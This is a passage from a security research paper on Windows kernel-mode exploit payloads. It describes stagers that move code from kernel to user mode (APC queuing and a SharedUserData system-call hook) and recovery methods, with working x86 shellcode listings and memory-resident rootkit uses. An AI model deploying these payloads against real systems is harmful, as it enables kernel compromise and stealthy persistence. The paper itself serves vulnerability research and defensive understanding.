Although most stagers involve reading more code in off the wire, it could also be possible to write an *egghunt* style stager that searches the address space for an egg that is prepended or appended to the code that should be executed[3]. The only requirement would be that there be some way to get the second stage somewhere in the address space for a long enough period of time. Given the right conditions, this approach for staging can be quite useful because it reduces the size of the initial payload that has to be transmitted or included as part of the exploitation request.

4.2.1 System Call Return Address Overwrite

A potentially useful way to stage code to R3 would be to hook the system call MSR and then alter the return address of the R3 stack to point to the stage that is to be executed. This would mean that whenever a system call occurred, the return path would bounce through the stage and then into the actual return address. This is an interesting vantage point for stagers because it could give them the ability to filter data that is passed back to actual processes. This could be potentially make it possible for an attacker to install a very simple memory-resident root-kit as a result of taking advantage of a vulnerability. This approach is purely theoretical, but it is thought that it could be made to work without very much overhead.

The basic implementation for such a stager would be to first copy the staged

payload to a globally accessible location, such as `SharedUserData`. Once copied, the next step would be to hook the processor MSR for the system call instruction. The hook routine for the system call instruction would then alter the return address of the user-mode stack when called to point to the stage's global address and should also make it so the stage can restore execution to the actual return address after it has completed. Once the return address has been redirected, the actual system call can be issued. When the system call returns, it would execute the stage. The stage, once completed, would then restore registers, such as `eax`, and transfer control to the actual return address.

This approach would be very transparent and should be completely reliable. The added benefits of being able to filter system call results make it very interesting from a memory-resident rootkit perspective.

4.2.2 Thread APC

One of the most logical ways to go about staging a payload from R0 to R3 is through the use of *Asynchronous Procedure Calls* (APCs). The purpose of an APC is to allow code to be executed in the context of an existing thread without disrupting the normal course of execution for the thread. As such, it happens to be very useful for R0 payloads that want to run an R3 payload. This is the technique that was discussed at length in the eEye's paper[2]. A few steps are required to accomplish this.

First, the R3 payload must be copied to a location that will be accessible from a user-mode process, such as `SharedUserData`. After the copy has completed, the next step is to locate the thread that the APC should be queued to. There are a few important things to keep in mind in this step. For instance, it is likely the case that the R3 payload will want to be run in the context of a privileged process. As such, a privileged process must first be located and a thread running within it must be found. Secondly, the thread that will have the APC queued to it must be in the alertable state, otherwise the APC insertion will fail.

Once a suitable thread has been located, the final step is to initialize the APC and point the APC routine to the user-mode equivalent address via `nt!KeInitializeApc` and insert it into the thread's APC queue via `nt!KeInsertQueueApc`. After that has completed, the code will be run in the context of the thread that the APC was queued to and all will be well.

One of the major concerns about this type of approach is that it will generally have to rely on undocumented offsets for fields in structures like `EPROCESS` and `ETHREAD` that are very volatile across operating system versions. As such, making a portable payload that uses this technique is perfectly feasible, but it may come at the cost of size due to the requirement of factoring in different offsets and detecting the version at runtime.

The approach outlined by eEye works perfectly fine and is well thought out, and as such this subsection will merely describe ways in which it might be possible to improve the existing implementation. One way in which it might be optimized would be to eliminate the call to `nt!PsLookupProcessByProcessId`, but as their paper points out, this would only be possible for vulnerabilities that are triggered outside of the context of the `Idle` process. However, for cases where this is not a limitation, it would be easier to extract the current thread's process from `Kpcr->Kprcb->CurrentThread->AcpState->Process`. This can be accomplished through the following disassembly⁴:

```
00000000  A124F1DFFF      mov eax,[0xffdff124]
00000005  8B4044          mov eax,[eax+0x44]
```

After the process has been extracted, enumeration to find a privileged system process could be done in exactly the same manner as the paper describes (by enumerating the `ActiveProcessLinks`).

Another improvement that might be made would be to use `SharedUserData` as a storage location for the initialized `KAPC` structure rather than allocating storage for it with `nt!ExAllocatePool`. This would save some space by eliminating the need to resolve and call `nt!ExAllocatePool`. While the approach outlined in the paper describes `nt!ExAllocatePool` as being used to stage the payload to an IRQL safe buffer, it would be equally feasible to do so by using `nt!SharedUserData` for storage.

4.2.3 User-mode Function Pointer Hook

If a vulnerability is triggered in the context of a process then the doors open up to a whole wide array of possibilities. For instance, the `FastPebLockRoutine` could be hooked to call into some code that is present in `SharedUserData` prior to calling the real lock routine. This is just one example of the different types of function pointers that could be hooked relative to a process.

4.2.4 SharedUserData SystemCall Hook

Type:	R0 to R3 Stager
Size:	68 bytes
Compat:	XP, 2003
Migration:	Not necessary

One particularly useful approach to staging a R3 payload from R0 is to hijack the system call dispatcher at R3. To accomplish this, one must have an understanding of the basic mechanism through which system calls are dispatched

⁴This may not be safe if the `KPRCB` is not located immediately after the `KPCR`

in user-mode. Prior to Windows XP, system calls were dispatched through the soft-interrupt 0x2e. As such, the method described in this subsection will not work on Windows 2000. However, starting with XP SP0, the system call interface was changed to support using processor-specific instructions for system calls, such as `sysenter` or `syscall`.

To support this, Microsoft added fields to the `KUSER_SHARED_DATA` structure, which is symbolically known as `SharedUserData`, that held instructions for issuing a system call. These instructions were placed at offset 0x300 by the kernel and took a form like the code shown below:

```
kd> dt _KUSER_SHARED_DATA 0x7ffe0000
...
+0x300 SystemCall      : [4] 0xc819cc3'340fd48b
kd> u SharedUserData!SystemCallStub L3
SharedUserData!SystemCallStub:
7ffe0300 8bd4          mov     edx,esp
7ffe0302 0f34          sysenter
7ffe0304 c3            ret
```

To make use of this dynamic code block, each system call stub in `ntdll.dll` was implemented to make a call into the instructions found at that location.

```
ntdll!ZwAllocateVirtualMemory:
77f7e4c3 b811000000      mov     eax,0x11
77f7e4c8 ba0003fe7f      mov     edx,0x7ffe0300
77f7e4cd ffd2          call   edx
```

Due to the fact that `SharedUserData` contained executable instructions, it was thus necessary that the `SharedUserData` mapping had to be marked as executable. When Microsoft began work on some of the security enhancements included with XP SP2 and 2003 SP1, such as *Data Execution Prevention* (DEP), they presumably realized that leaving `SharedUserData` executable was largely unnecessary and that doing so left open the possibility for abuse. To address this, the fields in `KUSER_SHARED_DATA` were changed from sets of instructions to function pointers that resided within `ntdll.dll`. The output below shows this change:

```
+0x300 SystemCall      : 0x7c90eb8b
+0x304 SystemCallReturn : 0x7c90eb94
+0x308 SystemCallPad   : [3] 0
```

To make use of the function pointers, each system call stub was changed to issue an indirect call through the `SystemCall` function pointer:

```

ntdll!ZwAllocateVirtualMemory:
7c90d4de b811000000      mov     eax,0x11
7c90d4e3 ba0003fe7f      mov     edx,0x7ffe0300
7c90d4e8 ff12           call   dword ptr [edx]

```

The importance behind the approaches taken to issue system calls is that it is possible to take advantage of the way in which the system call dispatching interfaces have been implemented. These interfaces can be manipulated in a manner that allows a payload to be staged from R0 to R3 with very little overhead. The basic idea behind this approach is that a R3 payload is layered in between the system call stubs and the kernel. The R3 payload then gets an opportunity to run prior to a system call being issued within the context of an arbitrary process.

This approach has quite a few advantages. First, the size of the staging payload is relatively small because it requires no symbol resolution or other means of directly scheduling the execution of code in an arbitrary or specific process. Second, the staging mechanism is inherently IRQL-safe because `SharedUserData` cannot be paged out. This benefit makes it such that a migration technique does not have to be employed in order to get the R0 payload to a safe IRQL.

One of the disadvantages of the payload outlined below is that it relies on `SharedUserData` being executable. However, it should be trivial to alter the PTE for `SharedUserData` to set the execute bit if necessary, thus eliminating the DEP concern.

Another thing to keep in mind about this stager is that the R3 payload must be written in a manner that allows it to be re-entrant. Since the R3 payload is layered between user-mode and kernel-mode for system call dispatching, it can be assumed that the payload will get called many times in many different process contexts. It is up to the R3 payload to figure out when it should do its magic and when it should not.

The following steps outline one way in which a stager of this type could be implemented.

1. Obtain the address of the R3 payload

In order to prepare to copy the R3 payload to `SharedUserData` (or some other globally-accessible region), the address of the R3 payload must be determined in some arbitrary manner.
2. Copy the R3 payload to the global region

After obtaining the address of the R3 payload, the next step would be to copy it to a globally accessible region. One such region would be in `SharedUserData`. This requires that `SharedUserData` be executable.
3. Determine OS version

The method used to layer between system call stubs and the kernel differs between XP SP0/SP1 and XP SP2/2003 SP1. To determine whether or not the machine is XP SP0/SP1, a comparison can be made to see if the first two bytes found at `0xffdf0300` are equal to `0xd48b` (which is equivalent to a `mov edx, esp` instruction). If they are equal, then the operating system is assumed to be XP SP0/SP1. Otherwise, it is assumed to be XP SP2+.

4. Hooking on XP SP0/SP1

If the operating system version is XP SP0/SP1, hooking is accomplished by overwriting the first two bytes at `0xffdf0300` with a short jump instruction to some offset within `SharedUserData` that is not used, such as `0xffdf037c`. Prior to doing this overwrite, a few instructions must be appended to the copied R3 payload that act as a method of restoring execution so that the original system call actually executes. This is accomplished by appending a `mov edx, esp / mov ecx, 0x7ffe0302 / jmp ecx` instruction set.

5. Hooking on XP SP2+

If the operating system version is XP SP2, hooking is accomplished by overwriting the function pointer found at offset `0x300` within `SharedUserData`. Prior to overwriting the function pointer, the original function pointer must be saved and an indirect `jmp` instruction must be appended to the copied R3 payload so that system calls can still be processed. The original function pointer can be saved to `0xffdf0308` which is currently defined as being used for padding. The `jmp` instruction can therefore indirectly acquire the original system call dispatcher address from `0x7ffe0308`.

The following code illustrates an implementation of this type of staging payload. It's roughly 68 bytes in size, excluding the R3 payload and the recovery method.

```
00000000 EB3F          jmp short 0x41
00000002 BB0103DFFF     mov ebx,0xffdf0301
00000007 4B            dec ebx
00000008 FC            cld
00000009 8D7B7C       lea edi,[ebx+0x7c]
0000000C 5E            pop esi
0000000D 57            push edi
0000000E 6A01         push byte +0x1 ; number of dwords to copy
00000010 59            pop ecx
00000011 F3A5         rep movsd
00000013 B88BD4B902   mov eax,0x2b9d48b
00000018 663903       cmp [ebx],ax
0000001B 7511         jnz 0x2e
0000001D AB            stosd
0000001E B803FE7FFF   mov eax,0xff7ffe03
00000023 AB            stosd
00000024 B0E1         mov al,0xe1
00000026 AA            stosb
00000027 66C703EB7A   mov word [ebx],0x7aeb
0000002C 5F            pop edi
0000002D C3            ret ; substitute with recovery method
0000002E 8B03         mov eax,[ebx]
00000030 8D4B08       lea ecx,[ebx+0x8]
00000033 8901         mov [ecx],eax
00000035 66C707FF25   mov word [edi],0x25ff
0000003A 894F02       mov [edi+0x2],ecx
0000003D 5F            pop edi
0000003E 893B         mov [ebx],edi
00000040 C3            ret ; substitute with recovery method
00000041 E8BCFFFFFF   call 0x2
```

... R3 payload here ...

4.3 Recovery

Another distinction between kernel-mode vulnerabilities and user-mode vulnerabilities is that it is not safe to simply let the kernel crash. If the kernel crashes, the box will blue screen and the payload that was transmitted may not even get a chance to run. As such, it is necessary to identify ways in which normal execution can be resumed after a kernel-mode vulnerability has been triggered. However, like most things in the kernel, the recovery method that can be used is highly dependent on the vulnerability in question, so it makes sense to have a few possible approaches. Chances are, though, that the methods listed in this document will not be enough to satisfy every situation and in many cases may not even be the most optimal. For this reason, kernel-mode exploit writers are encouraged to research more specific recovery methods when implementing an exploit. Regardless of these concerns, this section describes the general class of

recovery payloads and identifies scenarios in which they may be most useful.

4.3.1 Thread Spinning

For situations where a vulnerability occurs in a non-critical kernel thread, it may be possible to simply cause the thread to spin or block indefinitely. This approach is very useful because it means that there is no requirement to gracefully restore execution in some manner. It basically skirts the issue of recovery altogether.

Delaying Thread Execution

This method was proposed by eEye and involved using `nt!KeDelayExecutionThread` as a way of blocking the calling thread without adversely impacting performance [2]. Alternatively, if `nt!KeDelayExecutionThread` failed or returned, eEye implemented their payload in such a way as to cause it to spin while calling `nt!KeYieldExecution` each iteration. The approach that eEye suggests is perfectly fine, assuming the following minimum conditions are true:

1. Non-critical kernel thread
2. No exclusive locks (such as spin locks) are held by a calling frame

If any one of these conditions is not true, the act of spinning or otherwise blocking the thread from continuing normal execution could lead to a deadlock. If the setting is right, though, this method is perfectly acceptable. If the approach described by eEye is used, it will require the resolution of `nt!KeDelayExecutionThread` at a minimum, but could also require the resolution of `nt!KeYieldExecution` depending on how robust the recovery method is intended to be. The fact that this requires symbol resolution means that the payload will jump significantly in size if it does not already involve the resolution of symbols.

Spinning the Calling Thread

Type:	R0 Recovery
Size:	2 bytes
Compat:	All
Migration:	May be required
Requirements:	No held locks

An alternative approach is to just spin the calling thread at `PASSIVE_LEVEL`. If the conditions are right, this should not lead to a deadlock, but it is likely

that performance will be adversely affected. The benefit is that it does not increase the size of the payload by much considering such an approach can be implemented in two bytes:

```
00000000 EBFE          jmp short 0x0
```

4.3.2 Throwing an Exception

Type:	R0 Recovery
Size:	3 bytes
Compat:	All
Migration:	Not necessary
Requirements:	No held locks in wrapped frame

If a vulnerability occurs in the context of a frame that is wrapped in an exception handler, it may be possible to simply trigger an exception that will allow execution to continue like normal. Unfortunately, the chances of this recovery method being usable are very slim considering most vulnerabilities are likely to occur outside of the context of an exception wrapped frame. The usability of this approach can be tested fairly simply by triggering the overflow in such a way as to cause an exception to be thrown. If the machine does not crash, it could be the case that the vulnerability occurred in a function that is wrapped by an exception handler. Assuming this is the case, writing a payload that simply triggers an exception is fairly trivial.

```
00000000 31F6          xor esi,esi
00000002 AC           lodsb
```

4.3.3 Thread Restart

Type:	R0 Recovery
Size:	41 bytes
Compat:	2000, XP
Migration:	May be required
Requirements:	No held locks

If a vulnerability occurs in the context of a system worker thread, it may be possible to cause the thread to restart execution at its entry point without any major adverse side effects. This avoids the issue of having to restore normal execution for the context of the current call frame. To accomplish this, the `StartAddress` must be extracted from the calling thread's `ETHREAD` structure. Due to the fact that this relies on the use of undocumented fields, it follows that portability could be a problem. The following table shows the offsets to the `StartAddress` routine for different operating system versions:

Platform	StartAddress Offset	Stack Restore Offset
Windows 2000 SP4	0x230	0x254
Windows XP SP0	0x224	0x250
Windows XP SP2	0x224	0x250

A payload that implements this approach that should be compatible with all of the above described offsets is shown below⁵:

```

00000000 6A24          push byte +0x24
00000002 5B           pop ebx
00000003 FEC7          inc bh
00000005 648B13       mov edx,[fs:ebx]
00000008 FEC7          inc bh
0000000A 8B6218       mov esp,[edx+0x18]
0000000D 29DC         sub esp,ebx
0000000F 01D3         add ebx,edx
00000011 803D7002DFFF01  cmp byte [0xffdf0270],0x1
00000018 7C07         jl 0x21
0000001A 8B03         mov eax,[ebx]
0000001C 83EC2C       sub esp,byte +0x2c
0000001F EB06         jmp short 0x27
00000021 8B430C       mov eax,[ebx+0xc]
00000024 83EC30       sub esp,byte +0x30
00000027 FFE0         jmp eax

```

This implementation works by first obtaining the current thread context through `fs:0x124`. Once obtained, a check is performed to see which operating system the payload is running on by looking at the `NtMinorVersion` attribute of the `KUSER_SHARED_DATA` structure. The reason this is necessary is because the offsets needed to obtain the `StartAddress` of the thread and the offset that is needed when restoring the stack are different depending on which operating system is being used. After resolving the `StartAddress` and adjusting the stack pointer to reflect what it would have been when the function was originally called, all that's required is to transfer control to the `StartAddress`.

This approach, at least in this specific implementation, may be closely tied to vulnerabilities that occur in system worker thread routines, specifically those that start at `nt!ExpWorkerThread`. However, the principals could be applied to other system worker threads if the illustrated implementation proves limited. It is also important to realize that since this method depends on undocumented version-specific offsets, it is highly likely that it may not be portable to new versions of the kernel. This approach should also be compatible with Windows 2003 Server SP0/SP1, but the offsets are likely to be different and have not been obtained or tested at this point.

⁵Testing was only performed on XP SP0

4.3.4 Lock Release

Judging from some of the other recovery methods described in this document, it can be seen that one of the biggest limiting factors has to do with locks being held when recovery is attempted. To deal with this problem, one would have to implement a solution that was capable of releasing held locks prior to using a recovery method. This is more of a theoretical solution than a concrete one, but if it were possible to release locks held by a thread prior to recovery, then it would be possible to use some of the more elegant recovery methods. As it stands, though, the authors are not aware of a feasible solution to this problem that is capable of releasing the various types of locks in a general manner. Instead, it would most likely be better to attack this problem on a per-vulnerability basis rather than attempting to come up with an all-encompassing solution.

Without a proper lock releasing solution, it is likely that even if a vulnerability can be triggered, the box may deadlock. Again, this is highly dependent on the vulnerability in question, but it's not something that should be considered an academic concern.

4.4 Stages

The purpose of the *stage* payload component is to perform whatever arbitrary task is desired, whether it be to hook the keyboard and send key strokes to the attacker or to spawn a reverse shell in the context of a user-mode process. The definition of the stage component is very broad as to encompass pretty much any end-goal an attacker might have. For that reason, this section is relatively sparse on details and is instead left up to the reader to decide what type of action they would like to perform. The paper eEye has provided shows some concrete examples of kernel-mode stages. There are also many examples of existing user-mode payloads that could be staged to run in the context of a user-mode process. In the future, stages will most likely be the focal point of kernel-mode payload research.

Chapter 5

Conclusion

This document has illustrated some of the general techniques that can be used when implementing kernel-mode payloads. Examples have been provided for techniques that can be used to locate the base address of `nt` and an example routine has been provided to illustrate symbol resolution. To make kernel-mode payloads easier to grasp, their anatomy has been broken down into four distinct units that have been referred to as *payload components*. These four payload components can be combined together to form a logical kernel-mode payload.

The purpose of the *migration* payload component is to transition the processor to a safe IRQL so that the rest of the payload can be executed. In some cases, it's also necessary to make use of a *stager* payload component in order to move the payload to another thread context or location for the purpose of execution. Once the payload is at a safe IRQL and has been staged as necessary, the actual meat of the payload can be run. This portion of the payload is symbolically referred to as the *stage* payload component. After everything is said and done, the kernel-mode payload has to find some way to ensure that the kernel does not crash. To accomplish this, a situational *recovery* payload component can be used to allow the kernel to continue to execute properly.

While the vectors taken to achieve code execution have not been described in this document, it is expected that there will continue to be research and improvements in this field. A cycle similar to that seen for user-mode vulnerabilities can be equally expected in the kernel-mode arena once enough interest is gained. With the eye of security vendors intently focused on solving the problem of user-mode software vulnerabilities, the kernel-mode arena will be a playground ripe for research and discovery.

Bibliography

- [1] Conover, Matt. *Malware Profiling and Rootkit Detection on Windows*.
http://xcon.xfocus.org/archives/2005/Xcon2005_Shok.pdf; accessed Dec. 12, 2005.
- [2] eEye Digital Security. *Remote Windows Kernel Exploitation: Step into the Ring 0*.
<http://www.eeye.com/~data/publish/whitepapers/research/OT20050205.FILE.pdf>; accessed Dec. 8, 2005.
- [3] skape. *Safely Searching Process Virtual Address Space*.
<http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf>;
accessed Dec. 12, 2005.
- [4] SoBeIt. *How to Exploit Windows Kernel Memory Pool*.
http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf; accessed Dec. 11, 2005.
- [5] System Inside. *Sysenter*.
<http://system-inside.com/driver/sysenter/sysenter.html>; accessed Nov. 23, 2005.